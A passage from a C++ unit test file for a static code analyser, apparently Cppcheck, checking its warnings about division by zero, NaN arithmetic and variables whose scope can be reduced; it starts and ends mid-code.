check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* 